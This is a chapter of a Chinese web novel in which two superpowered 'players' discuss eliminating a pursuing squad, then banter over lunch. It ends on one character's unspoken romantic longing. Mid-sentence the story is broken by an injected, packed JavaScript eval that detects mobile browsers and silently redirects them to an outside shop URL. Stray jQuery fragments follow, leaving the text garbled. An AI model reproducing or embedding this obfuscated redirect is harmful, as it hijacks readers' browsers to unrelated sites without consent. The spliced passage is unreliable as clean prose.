“你能单独对付B级异能者带领的小队了?”唐明闻言也是小小惊讶一下。
他们从苍白之岛分别才多久,看来林日新的成长速度也不慢嘛!不愧是拥有顶级称号“混乱之子”的玩家。
“保命容易,战胜难,我把水思源和潘启承都带去了。他俩都是大家族大教团出身,这样的下属需要时常考验忠心,驾驭他们如同握着一把双刃剑,随时可能割伤自己。”林日新说,“我将借助地利,在神性污染区域附近开启战斗。身为混乱之子的我不受神性污染影响,但他俩要是敢有什么小心思,说不定会变成怪物呢。”
“看样子,混乱之子大人是不打算留活口了。”
唐明非常清楚,林日新带上水思源和潘启承意味着什么。
考验手下的忠心只是次要的,重要的是水思源的“控水”和潘启承的“伤害同步”都是非常强力的异能,战斗开启后那支小队很快就能反应过来他们在和谁战斗。
白塔幸存者,联邦通缉犯,两个身份容不下一点走漏的风声。
所以林日新其实根本不可能让那支探索小队里的任何一个人活下去,包括“信使”。
“速战速决吧。”唐明说。
他垂下眼帘,忽然觉得自己揪着萧小天袭击东南卫城这件事不放的行为的确有些好笑,简直是站在道德制高点上,站着说话不腰疼。
生存是残酷的。探索小队有错吗?没有。
他们根本不认识林日新,可以说无冤无仇。
但林日新要生存,要活下去,就像捕食野兔的狮子一样。
弱肉强食,天经地义。
“真要计较起来,萨温没管控好神力导致神性污染爆发,这才是末日灾祸的根源。”
唐明思绪如潮。
“一定要指责萧小天的话,还得先指责萨温拉屎不擦屁股——如果我进游戏以后向萨温祈祷,把这些话原原本本地说出来,会怎么样呢?”
他“噗嗤”一声笑出来。
“罢了,罢了,人类的命运掌握在自己手里,怪物同样如此。我是玩家,不是人类的救世主。”
唐明捧住手机,忽然与两百年前那个风华绝代的少年、人类初代领袖心意相通——他带领人类走出至暗时刻,走向曙光,但未来的路,还是要人类自己去摸索。
他是领航者,不是陪伴者,更不是保护者。精灵族的前车之鉴还历历在目,神灵保护的文明是脆弱的、不堪一击的,而人类的帝国消亡了,人类的文明还在黑暗中闪闪发光。
他一手保存了最后的火种,使得人类在神灾后的时代仍有一息尚存之地,已然仁至义尽。
至于未来的人类究竟是苟延残喘,还是开拓进取,这些身后事于他无关紧要。
“这几天在废土追踪他们真的好累,黑市采购的装备已经报废了三分之一了,我想早些回去把那些奸商的头拧掉。”林日新还在输出。
“千里追击无功而返,朝令夕改反复无常,你不怕下属哗变?”唐明善意提醒对方。
“你以为他们很想深入废土吃沙子么?回去找那些掮客和背后作祟的低阶异能者的麻烦才是这群少爷的舒适区。”林日新不以为意。
“谁敢在你面前充少爷?过两天我再让萧小天带我回5区,给你补充一批‘消除’剥离符,让娇生惯养的少爷们回忆一下在白塔坐牢时的感受,忆苦思甜。”
唐明掰着指头一数,今天是第三天,刚好后天称号解封,诺亚交易给他的“消除”也会激活。
“生命”异能特殊无法剥离,“消除”作为神赐异能,到底能不能剥离,他心里也没底。
当然,如果真不能剥离,他就把加莱的血液全拿出来做成剥离符给林日新,让他重新敲打敲打这群高阶异能者。
“微臣谢过太子殿下。”林日新有心逗唐明玩。
“首领折煞我了,这是属下应该做的,能为混乱之子大人排忧解难,属下甘愿赴汤蹈火万死不辞。”唐明也虚情假意回应。
他和林日新这对共轭首领又客套了片刻,终于答应对方出去搓一顿中饭,但吃饭的地方不能超过周边一公里。
因为他最近没有抢到电单车骑行卡的折扣,已经买过的卡所剩次数不多,得省着点用,万一王晓玲店里缺人手又叫他去打工呢?
这种热死人的天气出门,他同洋少爷林日新也算得上生死之交了。
唐明从床上跳下来,走到阳台上,发现自己昨晚洗的衣服忘记晒了,还在洗衣机里躺尸。
他赶紧打开洗衣机,从里面扒拉两件衣服出来,凑到鼻子前闻了闻,又默默地塞了回去,倒小半杯洗衣液重洗一遍。
他拿起手机,一个电话拨出去:“你能来我家,然后我们中午点外卖吗?我不想出门。”
“你起都起了,为什么不出门?”
“我衣服……没干。”唐明按下开机键。
洗衣机注水的声音掩盖了林日新的大呼小叫。
等到注水结束,林日新颓然败下阵来:“不如我出去买点菜,拎着去你家做午饭,伺候你吃完,然后把碗洗了,衣服晾了,地也拖了?”
“这怎么好意思?”唐明挠头,“我只是不会做饭而已……最近在学,真的有进步。家务活我自己会做,你不用又当厨师又做家务的。”
“你可以雇佣我做你的住家保姆。”林日新嘟囔。
“兄弟,你觉得我付得起这个钱吗?”唐明低头看洗衣机上的倒计时,旋转按钮调整模式。
“我没说让你付钱啊!”林日新委屈。
“唔……”唐明终于找到了最快的速洗模式,点击启动,顺口胡诌道,“付不起这个钱可以用身体抵吗?”
沉默。
电话那头诡异的沉默。
“开个玩笑。”唐明这才反应过来自己说了什么,尴尬地解释找补。
“跟gay开这种玩笑是犯法的。”林日新语气都有些不对劲了。
天知道他有多激动,鬼知道他有多害怕!
上官楚月的前车之鉴还历历在目,他不想重蹈覆辙,又怕唐明忽然转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17908279|213065||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了性子,他却畏手畏脚错过这个千载难逢的机会,一时间进退维谷,以至于根本不敢搭话。
“这个月你来我家做住家保姆,等我学会了狠狠解雇你,下个月我去你那做住家保姆,这样不就扯平了吗?我们谁都不用付钱。”唐明往卧室里走,将洗衣机的轰鸣声抛在身后。
“太子殿下,你不觉得这种行为很奇怪吗?”
“怎么了?”
“我们通常不管这叫住家保姆,而是叫同居。”
“……”
唐明尴尬到差点抠出三室一厅。
当年他把林日新赶出去,现在又把人请回来,万一林日新是个小心眼的,给他饭里下点泻药,那他今天可以常驻卫生间了。
“你不会趁做饭的时候给我下毒吧?”唐明尴尬地找话题。
“……给你下点春天的药!”林日新咬牙切齿,挂掉电话。
虽然他很想当法外狂徒,可他也非常谨慎,没有绝对的把握不会出击。
*
“其实我很想跟你住一起。”
舔光餐盘的唐明餍足地拍拍自己的小肚子,瘫在高背椅上,冲着林日新一笑。
“只要你想,我随时都能收留你。”林日新认命地收拾起碗碟,又拿了抹布来擦桌子,“你现在惦记着我的好,等我管束你的时候,你又会嫌我啰嗦,好像我是你的老妈子一样。”
“妈。”唐明诚恳地喊了一句。
林日新一个趔趄,手上的餐盘差点飞出去。
他把盘子往水池里一放,愤怒地转过身,走到唐明面前,用沾着油的双手挠对方的腰,直到唐明控制不住笑得前仰后合,不停地求饶才罢休。
“帮你端茶倒水做饭晒衣还不够,要不要帮你洗澡?”林日新一松手,笑到脱力的唐明直直倒进他怀里,下巴搁在他肩上,浑身还有些微的颤抖。
这个姿势下,他看不见唐明的眼睛,但唐明应该在笑吧?
他是那样的信任他,对他毫不设防,他能辜负这样的、一朝一夕好不容易建立起来的信任吗?
林日新瞳孔一缩,双手合抱住唐明,左手放在他的背上,手掌顺着分明的脊骨一点点往下挪动,力度格外收敛,让自己的动作显得不那么像抚摸。
他是不是又瘦了一点?
林日新的手掌停留在他的后腰,像是遭遇了不可逾越的高山一般无法寸进。
这是一条底线,一旦超过这条红线,就只剩下唯二的、完全对立的结果。
要赌一把么?
赌他的贪婪,还是赌他的垂怜?
不……
林日新心中叹息一声,认命地收回手,闭上眼睛抱住对方。
他赌不起,因为他的缪斯从不贪婪,也不会垂怜任何人。
他的缪斯有同情心,也足够善良,可他不准备委屈自己来成全他的爱情。
无法强求,他所能得到的、属于他的只有这一寸微渺的时光。
在这一刻,他嗅到了清淡的薰衣草香,还有独属于他的味道。